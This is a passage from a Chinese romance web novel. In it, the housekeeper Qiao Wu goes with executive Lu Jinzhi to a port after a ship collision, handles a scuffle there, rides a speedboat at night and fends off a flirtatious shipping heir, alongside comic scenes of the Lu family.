“反正你也钓不上来,这廉价的鱼哪配得上你那金贵的合同手。”陆应池嘴贱,“给你炸两条玩玩得了。” 陆江:“你很不情愿?” “这么不明显?” “……”陆江脸色突然就好看了,“那我就情愿了,这桶鱼饵不用完不准回去,不然把你那宝贝马也收了。” 谁让他不舒服,他也让谁不舒服。 耗! “我靠。” 陆应池差点把那桶鱼饵全扣他老子头上。 乔梧乐呵呵地看着,也不打算阻止。 只要能坐在一起交流,哪怕磕磕绊绊一点也是进步。 几人一个跟一个赌气,愣是在湖边坐了两三个小时没动弹。 陆尽之下楼时看到一个个被晒得都要蔫吧了,还在那太阳底下坐着呢,倒是乔梧自己还打了把伞笼罩着三个人。 另外三个硬晒,公主都知道要去树林里躲太阳。 陆尽之目光有一瞬间的凝滞,陆家的基因里到底少了点什么东西? 他眼不见为净,走过去喊了声:“乔梧。” 听到是老二的声音,陆江耳朵一下子就竖起来了。 乔梧乔梧,又是乔梧! 原本六分之一的概率现在愣是被改到了百分之百。 打着伞的乔梧抬起头:“你也来钓鱼?” “也?”陆尽之扫了眼旁边硬得跟龟壳一样的人,淡声道,“没这么自残的爱好。” 乔梧把伞递给陆柠拿着,起身:“怎么了?” “津岛港有艘进口货轮发生碰撞事故,需要出差。”陆尽之问,“这几天其他地方有没有安排?” 津岛港是民营港口,也是陆氏集团的。 “没有。”乔梧下意识问:“我去公司?” 如果陆尽之和徐朝一起出差,那她暂时可以顶替一下负责两边沟通的工作。 “你跟我去。”陆尽之说,“徐朝留下。” 并不是不信任,而是徐朝需要一个成长的机会,而乔梧对一些工作细节还没太熟悉,所以这样的选择才是最优选。 “什么时候?” “一个小时后司机来接。” 陆尽之看着眼前人,哪怕打着伞,在日头下坐久了脸也是红的,比起平时略带冷感的模样要软一点。 因为一直在弄鱼饵脸上沾了些痕迹,他有强迫症似的盯着那抹痕迹。 “嗯?” “脸上沾了饵料。” “啊没注意。”乔梧抬手抹了下,结果把脏痕揉得更大了。 陆尽之轻轻蹙眉。 隔了几秒,他拿出随身带着的手帕,抬手将她脸上的痕迹擦了干净,然后自然地放下手:“你还有时间清洗一下。” 只有一个小时了,乔梧顾不上许多,应了声就匆匆转身朝别墅走去。 陆尽之垂眸看了眼手帕上的痕迹,有些不解,上次她碰到自己的时候,好像不是这个触感。 手是凉的,脸却很烫。 他指尖动了动,将沾有腥味的手帕合拢,随意扫了眼坐着的几人。 却发现他们每个人都用一种极其诡异的目光在盯着自己,安静得连风都显得很寂静,好不容易钓到的鱼跑了都不知道。 陆尽之觉得多看一眼自己的基因都会变异,他淡淡道:“走了。” 等人走后,其余人才反应过来。 陆应池:“他为什么要给乔梧擦脸!” “就是!”陆柠附和,“他明明说不喜欢乔梧!” 陆应池:“他不喜欢?” “是啊,他亲口说的。” “那他大半夜老给人打什么电话!”陆应池炸毛。 陆宣也觉得很诡异,陆尽之对乔梧的态度太诡异了,半夜打电话又是基金会又主动住一层又是擦脸的,结果还说不喜欢。 陆尽之从不说谎,所以…… 他沉思很久恍然大悟,摘下墨镜:“捧杀。” 果然做生意的人都黑心肝! 陆江听他们你一言我一语的,听得一头雾水。 但他知道老二绝对不是那种人,他不会捧杀,他只会赶尽杀绝。 要是老三老四脸也脏了,他绝对能把人踹进湖里用物理方式解决。 很不对劲。 “那我们要不要提醒一下乔梧?”陆柠懵懂地问,“万一她被陆尽之吃干抹净怎么办?” “回去我就把汉语词典拍你脑门上。”陆应池举起手里的饵料,阴森森地威胁,“再胡说八道我把这玩意儿喂你嘴里。” 对这几个孩子陆江是一点希望都不报了,他拿出手机给谢意发了条消息,让他多注意一点老二的情况。 “我要走了。”陆柠将伞搭在后面的杆上,确认挡好乔爷爷以后说,“你们自己玩吧。” 乔梧不在,她的素材也没了。 陆宣也懒得再继续晒,他要被晒透了。 刚才乔梧拿了把伞过来,只给她们三个人打。 结果他们这边晒得一个比一个厉害,但让他给陆应池和老头打伞? 想都别想。 显然另外两人也是这么想的,所以三人就硬生生晒了一下午。 陆宣收起鱼竿:“我也走了。” 陆应池看了眼还剩小半桶的鱼饵,想了想,团吧团吧全给揉成了一坨怼到陆江面前:“给你,自己钓条大的。” “……” 陆江差点被气撅过去。 他还说什么老二,这些一个二个都是冲着乔梧来的! 还打窝,人家钓你们都不用打窝拿鱼竿,几个没出息的玩意儿自己会翻肚皮上岸! 第58章 第五十八章二更 到达津岛港口时已经是晚上九点,由于进出港时两艘货轮相撞,连带港口设施也受到损失,港口这个码头已经被封锁修整,运输公司的负责人也已经到场,律师团队正在沟通。 看到陆尽之下车,港口负责人石浩强忙走上前:“陆总。” “嗯。” 石浩强上一次跟陆尽之见面还是五年前,陆尽之独自一人来检查港口的物流产业链,当初有几个不长眼的没把这个初出茅庐的小陆总当回事,当场就被陆尽之眼也不眨的开除,哪怕对方几个是港口高管。 他也是因为这个才被提拔上来的。 五年不见,陆尽之比起过去更加成熟,看起来像是没有当初那么冷淡,可眼神和举动却都透着更让人畏惧的了然和透彻。 石浩强不敢耽误,立刻递过几张纸:“主责是外轮进港船长操作失误,我们这边设施损坏初步估计两亿七,另外一艘归属是国内运输公司,虽然躲避及时,但装载的集装箱有小部分被压毁,正在定损,两边都吵得厉害觉得对方都有责任,他们负责人马上就到。” 虽然是外轮,但常常进行外贸往来的话,在国内也会有他们的负责人。 要都是国内的船还好说,主要还有个外轮。 两边争端,陆尽之需要出个面。 陆尽之接过那几张纸将内容看完后又递给身边的乔梧:“流程。” 乔梧知道他的意思。 其实出个面是很简单的事情,不需要做什么,但港口这方面的工作她还没接触过,以前都是纸上谈兵,所以带她过来看一看。 石浩强过去只在线上开过会,但大多数时间都是跟徐秘书沟通,这位女士看着很眼生。 而且她哪怕跟陆总站得很近,也丝毫不减自己本身的气度。 要知道陆总跟普通大肚子的总裁不一样,脸和身材一直都是财经杂志除开他的资产以外津津乐道的话题,难得有人与他不相上下。 这位不会是老板娘吧?陆总也到年纪了。 石浩强立刻打起了十万分精神:“这位是?” “乔梧。”陆尽之往身侧看了一眼,像是想到什么,忽然笑了下,“乔总。” 正在看资料的乔梧: “……” 那公司的官司还没打下来呢。 她抬眸看了陆尽之一眼,看到对方眼里的笑意就知道他是在打趣,但这个时候显然不是开玩笑的时候,所以他也是真的把她当做未来的乔总在看待,并且哪怕知道她以后想走,在工作上也对她毫无保留。 她坦然接受这个称呼,朝这个负责人伸手:“你好。” “乔总您好。”看到那双干净修长的手,石浩强下意识在身侧擦了擦手才把伸出去,“我叫石浩强,现在是津岛港口主管物流的总负责人。” 他很快把手松开,跟在两人身后一起去看损坏的现场。 然后就听到陆总对那位乔总说。 “秦天睿成为不了你的人脉和资源,你可以自己成为人脉和资源。” 秦天睿? 很出名,好像是秦氏总裁的弟弟。 “所以你把我带来了?” “没有要牵你的线。”陆尽之莞尔,“但鲲鹏也需要羽翼才能飞起来。” 乔梧扬了扬手里的资料:“我还没那么不识趣,全记下来了,谢谢。” “你可以不跟我说谢谢。”陆尽之忽然提起,“他们举报我没目标?” 乔梧替他回答:“你现在的目标应该是好好跟他们说话。” “那道阻且长。” 乔梧失笑:“你真的有在配合吗?” 有在配合,但有时候的确会被蠢到控制不住。 “换一个。”陆尽之回头看她,“我助你飞一尺,一丈,十丈,区间奖励。” “什么奖励?” 乔梧想不出来陆尽之有什么需要自己的,他很理智,所以并不需要那其他几人的情感安慰。 “我想目标,奖励不该是你来想?” 那就不叫奖励,那是谢礼。 合情合理,乔梧没有办法拒绝。 “好。” 走在两人身后的石浩强觉得自己的存在感好低,人家说话也不会背着他,搞得他什么都能听得清清楚楚。 所以现在陆总是要给这位乔总做垫脚石,而且心甘情愿,不仅不用别人感谢他,还讨要谢礼? 这是什么路数? 就跟他当初追老婆一样,啥也不要,纯付出? 这么一想,好像合理了,纯爱战士。 石浩强顿时觉得自己看穿了一切。 才将这个码头看了一圈,后面就有人走上来:“陆总,两个运输公司的负责人都到了,就是……” 石浩强:“说完。” “他们前后脚到的。”那人说,“到了就在那吵起来了。” 到底还是在自家码头,陆尽之转身朝来路走去。 还没走出多远便看到不远处停车的地方,有两人面对面,其中一个明显是个外国人,应该是那家外轮所属的运输公司负责人。 两人面对面用英文互喷,可能觉得英文影响发挥,所以国内的那个负责人中英夹杂,引经据典含爹带妈,火力相当猛,反正他对面的人也听不懂。 乔梧耳朵被吵得发麻。 石浩强走过去就疯狂咳嗽彰显自己的存在感:“咳咳咳!” 吵得正欢的两人一同扭头。 其中一人很年轻,穿得也没那么正式,长相有几分混血的模样,他眼睛瞪得很大:“陆尽之?靠,怎么在哪都躲不过你!” 这一刻乔梧深深觉得陆尽之对自己有一点点的误解。 他或许有很多资源,至于人脉……还真不好说。 这位明显跟秦敛一个挂,对陆尽之敬而远之的。 但乔梧对这人没什么印象,没在记忆里见到过。 她回想当初拿到的各家人物关系,这个运输公司似乎也没这么年轻的负责人。 另外那个外国人显然看得出陆尽之的身份,径直走上前:“事故双方都有责任,码头损失不能我们一家赔偿,如果不是他们挡住了航道,我们不会撞到码头。” “什么不能你们一家赔?”那个混血撸着袖子上前,双手叉腰,“就是你们的责任,没开好船!你们不仅得赔码头,还要赔我家的船!弥补货物损失!” “你怎么这么粗鲁,你还要跟我打架?!果然你们的素质就是很差。” “你再给老子胡说八道一句试试?” 乔梧全程站在陆尽之身边,因为不认识这两人,所以也没贸然开口。 定责的事到时候交给律师去做就行。 但她没想到这两人脾气都很火爆,二话不说就动起手来了。 她站得离那个外国人很近,所以在对方抬起手的一瞬间就立刻伸手挡住了对方的小臂,顺势拽住对方往后一推。 那人本身也没站得很稳,直接被推得倒退好几步才稳住了身形,不可置信地看着这个瘦高的女人。 乔梧冷声道:“先生,我们国内是法治社会,不允许私自斗殴。” 混血也没想到有人会出手,还是最不可能的那个人,他点头附和:“就是!” 乔梧扫他一眼:“也请注意言行。” 混血噎了一下,刚要说话就听到一声冷淡的:“沈延。” 他后脖颈无端发凉,一回头就对上了陆尽之毫无情绪起伏的黑眸。 沈延从小就被他老爹扔到国外,又被扔到陆尽之的新公司里学习,在他手底下苟延残喘了两年。 好不容易熬到陆尽之回国,他也麻溜跑了,没想到回来还能遇到。 他一个总裁为什么大半夜要跑来码头看人吵架啊! 但哪怕在陆尽之公司待了两年,沈延也很少看到陆尽之现在这种表情。 这人平常笑的时候就很恐怖了,没想到不笑的时候更恐怖。 “我实话实说。”沈延终究还是没再那么冲动,他回头看了一眼乔梧,这会儿才注意到对方的正脸。 嘶! 他立刻把袖子拉下来,一改原本的嚣张神色,张开双手上前:“谢谢漂亮妹妹。” 乔梧:“?” 新鲜,她很难得听到别人喊自己妹妹。 “我这张帅脸差点就被打了。”沈延说着就要抱上她。 乔梧都没来得及档开,就听咚的一下。 沈延脑袋被安全帽打了。 “我靠!”沈延立刻缩回手抱住脑袋,望向始作俑者,“陆尽之,我脑子很值钱的!” 陆尽之将从石浩强头上摘下来的安全帽递还给他,示意他去叫人过来,淡声道:“论两称都不过字。” “你踏马……” 担心再次打起来,石浩强迅速带了一群人把他们团团围住。 “我只在这儿待五分钟。”陆尽之走到那个外国人面前,视线扫过他的小臂,在上面某个位置停了几秒,而后抬起漆黑的眸,继续用英文道,“要么好好说话,要么我给你们清场,你们把对方扔海里。” 外国人:“?” 他怎么觉得这话的意思是,我让人把你扔海里。 刚才还气急要动手的男人此时被那双眼睛凝着,天灵盖像是冒出一股寒气,他下意识把手往后藏了藏。 很快船长就把各家的损失都报了上来。 乔梧将手里的资料递给陆尽之:“这个也要?” “嗯。”陆尽之接过去后却并没有一起交给律师,而是略往后看了眼,“定责?” 律师点头:“根据两船的监控以及塔台和定位轨迹,是外轮全责。” 陆尽之笑了下,看着那个外轮公司过来的负责人,话却是对律师说的:“粗略估计码头 损失三亿,清楚了?” 石浩强表面不动声色,心里却惊涛骇浪。 果然纯爱。 无敌纯爱那年,别人碰他心上人一下,就是三千万! 几个律师坚定点头:“明白。” 码头的定损早就已经估算下来了,满打满算最高两亿七。 但陆总既然说了三亿,那就是三亿。 还可以往上再加。 但陆总突然就要加三千万,这人惹到他了? “听到没有,全责。”沈延好歹也在陆尽之身边待了两年,颇有点狗仗人势的意思,叉腰道,“我们的损失一起赔了,不然告死你!” 他家的船比较小,损失并不大,这次来主要是担心对方推卸码头的责任。 但如果是陆尽之在,那就好办了。 “你家律师也借我使使。” 陆尽之懒得跟他多说,说五分钟就五分钟,多一秒都不给,他转头看向乔梧:“走了。” “哎哎哎!”沈延知道他没拒绝就是答应了,所以快速嘱咐了律师几句,扭头追上,“你们走那么急干什么!” 他冲到车边,拿出手机:“漂亮妹妹加个微信吧,自我介绍一下,我叫沈延,今天谢谢你帮我,我请你吃饭,什么时候都……” “关窗。” 坐在另一边的陆尽之冷淡的声音打断了他的话。 司机忙将车窗都关了。 沈延捏着手机的手差点被夹住,吓得他赶紧缩回来,还吃了一脸的车尾气。 “我靠。”他望着车远去的背影,“怎么还是这么讨厌!” 看破一切的石浩强用看勇士的眼神看着他:“你没发现陆总跟乔总关系很密切吗?” “没有啊。”沈延理所当然摇头,“他两站那么远,又没说几句话。” “等会儿,乔总?”沈延问,“你认识那个妹妹?” “听陆总说叫乔梧。” 沈延当即拿出手机搜索,不出三秒就能摸出大致信息。 对嘛!理事长啊,跟陆尽之只是朋友而已! 明明跟陆宣他们的关系比更陆尽之看起来更加密切! 他就说陆尽之身边不可能出现女性活物,出现了对方也只是工作伙伴而已,在陆尽之身边待了两年,他太了解了! 算了,下次一定能加到! 他真的很喜欢刚才那个妹妹酷酷的样子,长得还那么好看。 居然还是理事长,一看就很有魅力很强! 要是有这么个女朋友带回家,他爹一定笑得合不拢嘴。 沈延乐滋滋地收回手机,走回那个外国人面前,但他已经不想再跟这个没素质的人说话了,就问旁边陆氏的律师们:“怎么样?谈好了吗?” 律师们奇怪地看了他一眼:“沈先生,陆总并没有让我们协助您。” 沈延:“?” “他刚才没有拒绝!” “嗯。”律师们礼貌点头,“可我们刚收到了消息通知。” 说着还扬了扬手机。 陆尽之的头像赫然在置顶。 沈延:“……” 下一秒,他的手机也收到了一条微信。 嘴毒难伺候的阴比:“不借。” 沈延发了60秒的语音控诉,但却显示他被对面拉黑了。 靠! 另一边,乔梧有些好奇:“那个沈先生跟你好像很熟。” 陆尽之只有她一个朋友,所以她同样也希望陆尽之能交到更多的朋友,但陆尽之跟别人相处的模式好像很奇怪。 哪怕是秦敛那样的人,跟他也似敌似友的。 这个沈延也是。 “不熟。”陆尽之收起手机。 刚进黑名单。 “在国外跟我工作过。”他语气平缓地说,“他在国外长大,不太知道人与人的正常社交距离。” “其实还好。”乔梧中肯地说,“我也算在国外待过两年,一直都尊重别人的社交礼仪。” “可以不尊重。”陆尽之声音更淡,“他不是礼仪,是冒昧。” 那确实有点热情过头了,听他不是很乐意提起乔梧便没再反驳,而是换了个话题:“之前不是说定损两亿七吗?” 刚才她也惊讶,但想到说出来会影响到律师工作,所以这会儿才开口。 “涨价了。” “嗯?” 察觉到他今天冷脸的次数异常多,乔梧轻声问:“怎么了?” 晚上的车里很暗,陆尽之已经看不到她的手,但脑海中依旧能清晰地映出乔梧毫不犹豫伸手制止别人的动作。 哪怕知道她当时的选择是正确的,可他还是无法认同。 她再学过多少格斗技巧,跟那个人比起来也格外瘦弱。 他并不觉得她弱不禁风,但就是觉得刺眼,那瞬间就是怒火上涌。 如果不是那人已经退开很远,他都不知道自己下一步会做什么,这是他第一次对自己的行为做出未知的判断。 而三千万远远不能平衡他心里的天秤。 他的天秤歪得自己也抓不住任何规律了。 问题积压太多,陆尽之却没能找到答案。 他正在给自己找一个突破口,可依旧未果,所以只好压下对自己不耐。 他视线移开:“你的安全比别人的安全重要。” 万万没想到会是这个原因,乔梧愣了下。 随即了然笑道:“因为我是特权?” 陆尽之的神色罕见有些凝滞,但在昏暗中并不清晰,他若有所思地问:“陆柠?” 嘴巴跟喷枪一样,什么都往外说。 “嗯。” 乔梧觉得很正常,因为陆家的人都是她的特权,像陆应池被秦天睿别车的时候,她就很生气。 所以护短是件情理之中的事儿,她也欣然接受。 “你们也是我的特权。”她说。 陆尽之没回答,只是轻轻笑了一声。 此时已经回到陆宅的陆柠已经把自己的周记写完了,这次的周记要先给乔梧看。 她拍了一张照发给乔梧。 “检查周记~” 正好在车上,乔梧就点开看了一眼,标题是《我的周末》。 “我的周末是去静水别墅度过的,和退休的总裁爷爷、退休的管家爷爷、在职的总裁二叔、不红的演员三叔、养马的叛逆四叔及他的马公主,还有乔梧一起。 说到乔梧,她是我家的管家,她长得很好看,比明星好看,两只大大的眼睛黑黑的头发,她很厉害,什么都会无所不能…… …… 这就是乔梧。(划掉) 这就是我的周末。” 乔梧:“……” 她捂着脸,深深地吸了口气。 迟迟等不到回复的陆柠算着时间差不多了,迫不及待地想要发消息询问。 但却先接到了专门负责接送她的司机的电话。 “小小姐。”司机温和地说,“陆总这边吩咐,明天您没有用车权限,您的四轮车已经给您推到门口了,十块钱经费也放在楼下,请您记得明天早起。” 陆柠:??? 第59章 第五十九章还得治治 不是,写了这么优秀的一篇周记,居然还要扣她的车? 陆柠愤愤地指着手机,一怒之下怒了一下。 哼,幸好她还有小金库! 想到这儿,她把今天拍下来已经整理好做了后期的照片做了一个合集,按照效果标了序号,研究了一下怎么群发,选中人以后开始发送。 “乔梧高清近照,原图和精修价格不一,谨慎选择。” 她自信满满打字,然后等着自己第二通金到账,不到两秒,她的手机就开始接连震动了。 原以为是转账。 结果低头一看。 陆宣:“?” 陆应池:“???” 等会儿,怎么建成群聊了!还把所有叔叔都拉了进来。 陆柠思考了一下,将错就错,小心打字:“要不你们竞拍?” 陆宣:“你还卖给其他人,脑子里装的是shi吗!” 陆应池:“shi都比她的脑子有营养,老子警告你,再搞这些乱七八糟的事,我把你作文贴到你们学校大门口去。” 不是,神经病啊。 不是你们主动找我买照片的时候了?! 好像搞砸了,他们难道还想匿名竞拍? 等会儿,二叔还在群里,但是二叔没说话,陆柠趁着他还没看见,手忙脚乱解散群聊,拍拍胸口:“幸好我手快。” 过了一分钟。 她的手机又开始疯狂震动。 陆宣:“不许发给别人,我买断了。[转账]。” 陆应池:“让老子知道你给其他人照片你就完了,[转账]。” 陆柠:“……” 哇!噢! 大人的世界真是如此精彩。 谢谢叔叔们给她的求学道路投资! 下一秒,她二叔的头像弹出来。 陆尽之:“要么把照片删了 ,要么从今以后走路去学校。” 陆尽之:“如果我在别人那里看到任何图片,少管所会有你的一席之地,嫌疑人陆某。” 陆柠:“!!!” 每天早上被法制频道支配的熟悉感瞬间袭来。 这会儿的陆柠一点都没有意识到当初是谁先开的这个口,只想不成为嫌疑人,所以她严词拒绝了两位叔叔,并且收下了他们的红包。 “我想过了,这有点侵犯乔梧的肖像权,所以决定不卖了,但是我答应你们也不会发给其他人,这钱就收下了,谢谢~” 白给一笔钱,啥也没捞到。 但另外两人一听,好像也有点道理,算了,只要别给别人看到就行。 津岛这边,司机把车停在了陆氏的小私人码头,这边停的都是陆氏的船。 明天还要留在这里开个事故说明记者发布会,所以暂时在这里住一晚,不用来回几个小时地折腾。 岛上有陆氏旗下的度假酒店,就去那边睡一晚。 看到陆氏的车过来,这边的管理员迅速走上前,却没想到一起来的会是陆总和小乔管家,好新奇的组合。 “陆总。”管理员问,“要备船吗?” 陆尽之看了眼手表上的时间,游艇上岛多少都要多浪费一点,没必要。 没来由的,他脑海里忽然浮现起乔梧第一次给他打电话的时候,就在这里,那段视频至今都还保存在他的手机上。 “快艇?”他问。 “性价比高。”乔梧没有意见。 负责人立刻道:“那我叫人来开船。” “不用。”陆尽之将外套褪下,伸手,“钥匙。” 乔梧惊讶地看着他:“自己开?” 带着淡淡香味和温度的外套递到她面前,陆尽之笑了笑:“试试。” 十五岁的陆尽之还不会开船呢,乔梧还真有些好奇,她抱着陆尽之的外套欣然上了船。 负责人看得胆战心惊。 啊? 陆总给管家开船? 倒反天罡。 在乔梧眼里,陆尽之一直都是个不太爱动弹的人,小孩子玩游戏爱闹腾这些天性在他身上就没有出现过,嫌累嫌满身汗味儿。 但长大后的陆尽之又一次掀翻了她的认知。 那么爱干净爱讲究、哪怕是回家晚了吃饭都要提前让厨房准备精致料理的人,会自己开着车去千里之外的村庄,会毫无芥蒂地坐在灰尘仆仆的引擎盖上坦然接受村庄里的一切。 现在摆着有现成的船员不用,甚至再不济还有个她,但他又自己上阵开船了。 要么其他人总说二少爷果然难以琢磨。 两人上了快艇,乔梧将外套放好后坐在副驾,转头饶有兴致地盯着陆尽之看。 对方一只手搭在方向盘上,察觉到目光后侧过脸:“怎么?” “好奇。”乔梧如实说,“很少见你亲自做这些事。” “因为没必要。” 有人开他为什么要自己动手?工资又不是白开的。 负责人已经把两人今晚的换洗衣服都放下了,陆尽之发动了船,声音伴随着有些重的引擎声不算太清晰,却含着笑意:“但偶而也会觉得不错。” 话音落下,快艇就急速冲了出去。 乔梧身体由于惯性往后仰了些,却见陆尽之身形几乎未动。 他开船时样子跟平时没什么差别,甚至看上去还很散漫轻松,但速度却很快,浪花飞溅,船头高高翘起。 他单手掌控方向盘,似是觉得好笑:“不是挺会的?” “你开得比我快。”乔梧提醒他,“这是晚上。” “除了游艇,晚上不会放其他船出来。”陆尽之看她贴着椅子,笑了笑,又加快了速度。 巨大的轰鸣声让乔梧心跳急速跳动。 倒也没那么害怕,就是很爽。 跟自己开车去跑圈和开船不一样,不用费心去观察周围的情况,脑子在这一刻直接出去跟着船头一起冲起来的、没有任何顾虑的自由的爽。 她回头去看陆尽之,对方唇角衔着毫不掩饰的笑意,黑眸微微发亮,风吹着他的头发露出他的额头,他将衬衫袖口挽了起来,里面那件衬衫随风鼓动,让他整个人都变得比平时要多一些肆意和不曾显露出来过的自信轻狂。 这瞬间乔梧忽然又觉得这种大胆的开船方式很适合他。 因为他这个人向来无所顾忌随心所欲,所以做出任何事情都不奇怪。 乔梧彻底放松下来,享受着这一年里留下来为数不多的惬意晚风,她摘下眼镜:“再快一点。” 风浪声太大,陆尽之没听清。 夜里几乎可以称得上一句漂亮的眉眼轻轻扬起:“嗯?” 乔梧曲起指尖点了点他的胳膊又收回,往前一指。 陆尽之瞬间明白了她的意思,他短促笑了声,如她所愿。 的确,当跟相同频率的人在一起的话,哪怕是做着平时懒得做的事也会觉得很不错。 由于两人都很喜欢这种感觉,所以特意在海上又逛了一会儿才回到酒店。 酒店管家提前把行李拿去放好,岛上的房间都是小独栋,所以不同的房间方向都不同,走到自己的那一栋前,乔梧把外套还给他,同时给他表达自己的情绪:“今天很开心,早点休息,晚安。” 很开心。 陆尽之将这个句话在心里过了一遍,接过外套时却没立刻离开,而是俯身看了下她的眼睛。 乔梧不解。 在那双浅瞳里看到了灵动的微光,陆尽之心满意足地直起身:“想看看开心时的眼神是什么样。” 他弯了弯唇,礼尚往来:“晚安。” 回到房间,乔梧洗了个澡换了身衣服,可能是这两天没怎么工作,加上晚上精神太亢奋了,所以她一时半会儿还睡不着,于是便来到了院子里看海。 虽然海没什么好看,但度假小岛上的夜景很不错。 想到陆尽之临走前说的话,她打开了过去一个心理老师的聊天框咨询情绪感知不明显的相关问题,她虽然有过涉及,但终究不比老师专业。 心理老师很快回复:“一般有这种问题的人多半会有些抑郁倾向,或轻或重,按照你的说法,如果这个人从小就异于常人的聪明,那他从记事开始感知到的东西就会比旁人多,但因为同等条件下与他沟通的人并不能理解,这会导致他心理负担过重。” “不过因为他聪明,大部分时间他都会自我开解缓解已知的压力以至于看起来与旁人没有太大差别,实际上如果身边长期没有人理解与他同频,让他继续活在自己的世界里这种情况只会越来越严重。” 乔梧微怔。 现在的陆尽之看起来还很正常,可梦里那个他却已经成为一座孤岛了。 “那要怎么才能治疗?” 老师:“没有太明显的反应的话,不需要依靠药物,除开普通的正常健康生活以外,情绪环境也很重要。” 跟心理老师聊了一会儿,乔梧才躺在椅子上轻轻叹了口气。 小时候的她还意识不到这些问题,所以放任陆尽之一个人走到现在,一点点变得严重。 这一刻她终于明白为什么陆尽之在很多方面要求十分严格精细。 他那么聪明,当然也清楚地知道自己压力大会出问题,所以从各个方面来提高自己的生活水平身体享受,对人和事物都精益求精,不愿意委屈自己让自己感受到不快乐。 所以哪怕工作再忙,也要在固定的时间休息,也会愿意跑得很远追求那一瞬间的满足。 实际上,他现在连别人开心与否都要听别人亲口说出来,从别人的眼睛里去求证。 原来家里那几条笨笨的小狗,真的比他要快乐多了。 “嗯?妹妹!” 乔梧的思绪被一声惊呼打断,她循声望去,发现隔壁那栋度假小别墅二楼站了人才疯狂挥手。 沈延? 他应该明天也要出席发布会,嘴上说着不想看到陆尽之,但陆家的酒店是照住不误。 还挺诚实。 还没等她有反应,沈延就跑回了屋子里,没一分钟就从他自己的院子跑出来,趴在她院外的栅栏上:“好巧,你也在这儿过夜啊?” 乔梧见他甚至还往自己身上加了块装饰用的薄围巾,速度堪比过去的陆宣。 没穿越来之前她身边就不缺追求者,哪怕是穿过来后,小时候在班里她身边的男男女女也是一堆,只不过那时候有几条护食小狗在,没人敢太放肆而已,所以这辈子她还是第一次遇到这么热情的人。 她笑道:“陆氏的酒店周围只有这一个,我在这儿应该不奇怪。” 沈延一想也是:“陆尽之呢?” “找他?”乔梧拿出手机,“我可以帮你给他打电话。” “大可不必。”沈延轻松地趴着,“我是想问,你跟陆尽之是什么关系?” 虽然很讨厌陆尽之,但他做人还是有点底线的,不从别人的碗里抢饭。 笑死,跟陆尽之抢人,那他今晚就得去海里跟鲨鱼睡了。 乔梧:“朋友。” 那就太好了! 沈延理了理头发,自认为相当帅气,他在国外也是很抢手的:“那今天夜色这么好,我能不能邀请你去我那里喝一杯。” “抱歉,不能。” 这么果断? “没事,漂亮的女孩有拒绝别人的资本。”沈延锲而不舍,“那可以加个微信不?你放心,我不是那种花花公子,面对每一段感情我都很专一认真。” 乔梧挑眉:“每一段?” “三次。”沈延保守地说。 乔梧笑了。 笑得沈延晕晕乎乎,颜狗心脏都要爆了,果然他还是更喜欢国人的样貌。 “可以不?” 其实乔梧并不排斥在合适的时间跟合适的人谈恋爱,毕竟她活了两辈子还没有任何谈恋爱的经历,她也明白感情这种事情毫无道理,不一定在什么时候发生在什么人身上。 可是她宁缺毋滥。 也可能是还没经历过,所以她的爱情观很理想化,希望对方完完整整从开始到最终都只属于自己一个人,即便她自己也清楚这很不现实。 但无所谓,遇不到就算了,爱情并不是她人生里的必需品。 “沈先生。”她倒也不会辜负别人的热情,所以说得很明白,“如果是感情,目前为止我希望我是我另一半的第一段。” 还沉浸在她笑容里的沈延愣了下。 所以漂亮妹妹的初恋还在?! 天呐,更心动了。 她真的好理智好真诚! 他一直都是颜狗,感情的事情也很讲感觉,所以他一直坦然面对自己的心动并且积极尝试。 可看到乔梧这么认真的表情,他却罕见有点不好意思了,也收敛了点。 “那不谈感情。”他说,“如果你不介意,我们先认识。” 她也说了是目前为止,要是后面发现他的魅力,改变了心意和底线呢?! 机会是争取来的! 乔梧想了想,还是走上前跟他加了微信。 其一也的确是因为她不反感任何感情开始的前提,只要她不讨厌对方。 其二是她信任陆尽之,能跟陆尽之在一起工作,陆尽之也愿意松口借用律师团的人,不是坏人,感情谈不上,跟运输公司的继承人留下联系方式也不错,多一个人脉。 “我不一定有时间回消息。”她说。 沈延为自己正名:“都说了我不是那种花花公子。” 边说他还忍不住看了乔梧一眼,现在她摘了眼镜褪去之前的干练,变得格外的温和,干干净净的。 他忍不住说:“你真好看。” 乔梧笑了下:“谢谢。” “我要休息了,沈先生再见。” “昂!”沈延直起身子,依依不舍地挥手,“晚安。” 看着乔梧身影消失,沈延迫不及待点开她的朋友圈。 可里面干干净净,什么都没有。 这个年代居然还有人不发朋友圈?她不会把他屏蔽了吧。 可恶! 第二天一早,乔梧跟陆尽之出门时正好碰面。 她想着昨天跟老师的对话,所以忍不住多看了对方几眼。 陆尽之掀起眼睑捕捉她的目光:“嗯?” “我发现一个问题。”乔梧走上前与他并肩一起朝码头走去,“你也没跟我说过你高不高兴。” 陆尽之脚步顿了一瞬,眸中多了些意味不明的眼神。 “我不知道。”他表情看不出任何异常。 “那你感受一下。”乔梧拿出自己补妆的小镜子放在他眼前,“也别老看别人的眼睛,也多看看自己的,等你能看见了就跟我说说。” 陆尽之觉得这是一个很难理解的行为:“怎么突然想起这个?” “我就不能了解你?”乔梧反问。 闻言陆尽之不禁笑了下,也是这个时候他也清楚的从那块小镜子里看到了自己的眼睛,第一次这么仔细。 会弯起浅浅的弧度,甚至还藏着他自己从没看到过的光,很像他昨晚看到乔梧时的那样。 这种认知让他心里生出一种前所未有的新奇和未知的满足感。 “那现在应该是高兴的。”他说。 “这样才对。”乔梧把小镜子往前递了递,“送你了。” 她的化妆镜很小却并不花哨,是品牌的基础款,男女适用。 没想到有一天自己会接到别人用过的二手礼物,这次的陆尽之也明确看到了镜子里自己眼睛的弧度愈深。 他接过镜子,将眼里明显的情绪接收进脑海里:“现在也很高兴。” 两人来到海边,因为今天要出席发布会,避免需要重新整理形象陆尽之并没有再开船,游艇也换了一艘两层的,一层有小沙发。 乔梧刚要上船,后面就传来沈延的声音:“乔小姐,你们要回去了吗?载我一个吧。” 还在岸上的陆尽之回头看了眼:“乔小姐?” 称呼都变了。 “我昨晚加上了乔小姐的微信。”沈延得意地说,“也算是正式认识了。” “昨晚?” 陆尽之仿佛变成了复读机。 “他正好住在我隔壁。”乔梧解释,“没有别的意思,就是认识。” 沈延得到认可,笑眯眯地问:“那我可以跟你们一起走吗?” “不可以。” 说完后陆尽之看了眼旁边准备开船的工作人员,淡声道:“所有船只下岛,单程五十万。” 周围有些同样要下岛、但看到有几个外形出挑的男女站在这儿,所以多看了几分钟的游客们:“???” 卧槽,黑店?! 乔梧有点头疼,因为她现在突然发现,陆尽之和陆宣他们一样对她同样也有占有欲,并且很强。 难道是因为小时候她就成了陆尽之的特权吗? 